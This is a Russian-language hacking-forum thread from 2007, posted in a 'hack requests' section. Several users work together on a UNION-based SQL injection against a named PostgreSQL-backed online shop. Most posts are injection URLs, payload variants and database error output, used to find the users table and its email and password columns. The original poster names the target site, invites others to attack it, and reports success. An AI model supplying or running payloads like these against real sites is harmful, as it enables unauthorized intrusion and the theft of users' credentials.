Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Просьбы о взломах (https://forum.antichat.xyz/forumdisplay.php?f=44)
-   -   MySQL ERROR (https://forum.antichat.xyz/showthread.php?t=48291)

zjuk@ 04.09.2007 12:15

MySQL ERROR
 
Господа сталкнулся с проблемой ввожу такую строку
http://ххххххххх/index.da?ln=ххххх=-1 UNION SELECT null,null,null,null,null,null,null,null from public.users

Браузер выдаёт такую строку:
ERROR: relation "cur" does not exist
откуда этот CUR и как его побороть.
Помогите советом, совсем замучился уже.
Пасиба.

Scipio 04.09.2007 12:22

хм... а с чего ты взял, что это MySQL это Postgre как я понимаю...

и вобще че сюда то постишь

groundhog 04.09.2007 12:32

Scipio, не факт. Это может быть что угодно.

zjuk@, во-первых ты определись с версией, а во-вторых напиши запрос по нормальному... Я там не вижу отсечение оригинального запроса, и не вижу нормальной инъекции в переменную... Ты можешь вырезать хост из УРЛЫ если это протеворечит твоим религиозным взглядам, но будь добр оставить URI с инжектируемым запросом 1:1 как ты это пишешь в браузере, иначе гадать можно до вечера...

zjuk@ 04.09.2007 13:58

groundhog

да не вопрос, вот полная строка тока без урла http://ххххх.уу/index.da?ln=est&mid= -1+UNION+SELECT+null,userid,null,null,null,null,nul l,null+from+public.users

Насчёт версии MySql определить не удалсоь, всё что известно вот:
Apache/2.0.52 (Gentoo/Linux) PHP/5.0.3
Last-Modified=Tue, 07 Mar 2006

причём все стандартные ошибки, например: column X not exist, schema Х not exist система выдаёт без проблем, однако походу как только все поля вернно определны, то возникает злощастная relation "cur" does not exist, чтоб её...

guest3297 04.09.2007 14:38

Полный код ошибки в студию...

groundhog 04.09.2007 14:51

Ну опять же, комент может и не нужен, но лучше поставить:

http://ххххх.уу/index.da?ln=est&mid=-1+UNION+SELECT+null,userid,null,null,null,null,nul l,null+from+public.users/*

http://ххххх.уу/index.da?ln=est&mid=-1+UNION+SELECT+null,userid,null,null,null,null,nul l,null+from+public.users+--+

Попробуй не -1 а 99999

http://ххххх.уу/index.da?ln=est&mid=99999+UNION+SELECT+null,userid ,null,null,null,null,nul l,null+from+public.users/*

И что тебе мешает посмотреть версию?

http://ххххх.уу/index.da?ln=est&mid=-1+UNION+SELECT+null,VERSION(),null,null,null,null, nul l,null+from+public.users/*

И зачем ты лезешь в какую-то схему public? Твой пользователь работает в рамках своей схемы и 99 шансов из 100 что у него нету доступа в схемы других пользователей...

З.Ы. Послушай Кэша, напиши полную ошибку которую он выводит.

Elekt 04.09.2007 15:36

postgreы это

и гугл думает вот что http://www.google.com/search?rls=en&q=relation+does+not+exist

и если коротко, то дело в расстановке ковычек, коментария и таблица.столбец

select * from "X"."Y"

groundhog 04.09.2007 15:40

В Постгрес, идентификаторы употребляются в кавычках, когда они содержат пробел, или имеют регитрозависимое описание... Имхо, проблема не в этом.

Red_Red1 04.09.2007 15:47

Вроде как я вычислил этот сайт. Попробуй так, только вначале надо зарегистрироваться, что то купить зайти в корзину и в количестве нажать + http://xxxxxxxxx/index.da?ln=rus&do=my_cart&shipping_method=-10%20union%20select%201111,2222333--
Выводиться описание товара, а рядом с полем метод доставки вывод (у меня 2222333).
Пробуй

zjuk@ 04.09.2007 16:48

Спасибо за ответы.
Вывожу полный список ошибок. прикол в том, что помимо белого окна браузера и короткой строки ошибки больше ничего не выходит.

groundhog
всё тобой перечисленное, мною до этого перепробованно много раз и забито, потому что:

http://xxxxxx/index.da?ln=est&mid=-1+UNION+SELECT+null,userid,null,null,null,null,nul l,null+from+public.users/*
ERROR: unterminated /* comment at or near "/* ORDER BY cur.jrk ASC " at character 431

http://ххххх.уу/index.da?ln=est&mid=-1+UNION+SELECT+null,userid,null,null,null,null,nul l,null+from+public.users+--+
ERROR: relation "cur" does not exist

если 9999, то:
ERROR: relation "cur" does not exist

VERSION() не катит, потому что
ERROR: UNION types bigint and text cannot be matched

Elekt
при попытке поставить что-либо в ковычках, даже в хтмл формате жёстко матириться, в каком бы месте я их не ставил:
ERROR: syntax error at or near "\" at character ххх

Red_Red1
твой вариант в разроботке, пока...

groundhog 04.09.2007 17:29

Действительно постгрес, но переменные хорошо фильтруются, есть баг в корзинке, но вывод преобразуется к числу с плавающей точкой...

geezer.code 04.09.2007 17:30

может попробовать двойной юнион ?
-1+UNION+SELECT+null,userid,null,null,null,null,nul l,null+from+public.users
+union+select+null,0 as cur.jrk,null,null,null,null,nul l,null

тогда в конце припишется " ORDER BY cur.jrk ASC "

имхо может прокатить

zjuk@ 04.09.2007 17:43

Цитата:

Сообщение от geezer.code
может попробовать двойной юнион ?
-1+UNION+SELECT+null,userid,null,null,null,null,nul l,null+from+public.users
+union+select+null,0 as cur.jrk,null,null,null,null,nul l,null

тогда в конце припишется " ORDER BY cur.jrk ASC "

имхо может прокатить

точка ему тут не нравится cur.jrk, и так %2E не катит
ERROR: syntax error at or near "." at character 145

zjuk@ 04.09.2007 17:47

прои такой строчке:
http://хххххх.уу/index.da?ln=est&do=my_cart&shipping_method=-10+union+select+null,userid+from+public.users+wher e+userid=2031
выводит 2031, но других полей кроме userid просто не могу подобрать, выводит : column XXx is not exist
pass, passwrd, pswrd, psswrd, password, drowssap i t.d. нот экзист и всё тут =(

groundhog 04.09.2007 17:54

В том, то и прикол что вывод идёт числового поля... И кроме как числовые данные ты с Union туда засунуть не сможешь...

zjuk@ 04.09.2007 17:57

вот сам сайт http://datagate.ee кому интересно, можете поломать, вместе оно быстрее будет

zjuk@ 05.09.2007 00:15

так, удалось выявить существование таких полей в таблице users:
1 userid
2 useremail
3 userpassword
однако тайп мисматч не даёт туда ворваться, числовые параметры требует =(

zjuk@ 05.09.2007 00:32

странно такое написание система допускает:
http://datagate.ee/index.da?ln=est&do=my_cart&shipping_method=-11+union+select+null,userid+from+public.users+wher e+userid=2036
возвращает значение 2036

а такое нет
http://datagate.ee/index.da?ln=est&do=my_cart&shipping_method=-11+union+select+null,userpassword+from+public.user s+where+userpassword=987654321
Почему?

zjuk@ 05.09.2007 10:13

всё, проблема решена всем спасибо. Можно закрывать тему


Время: 21:26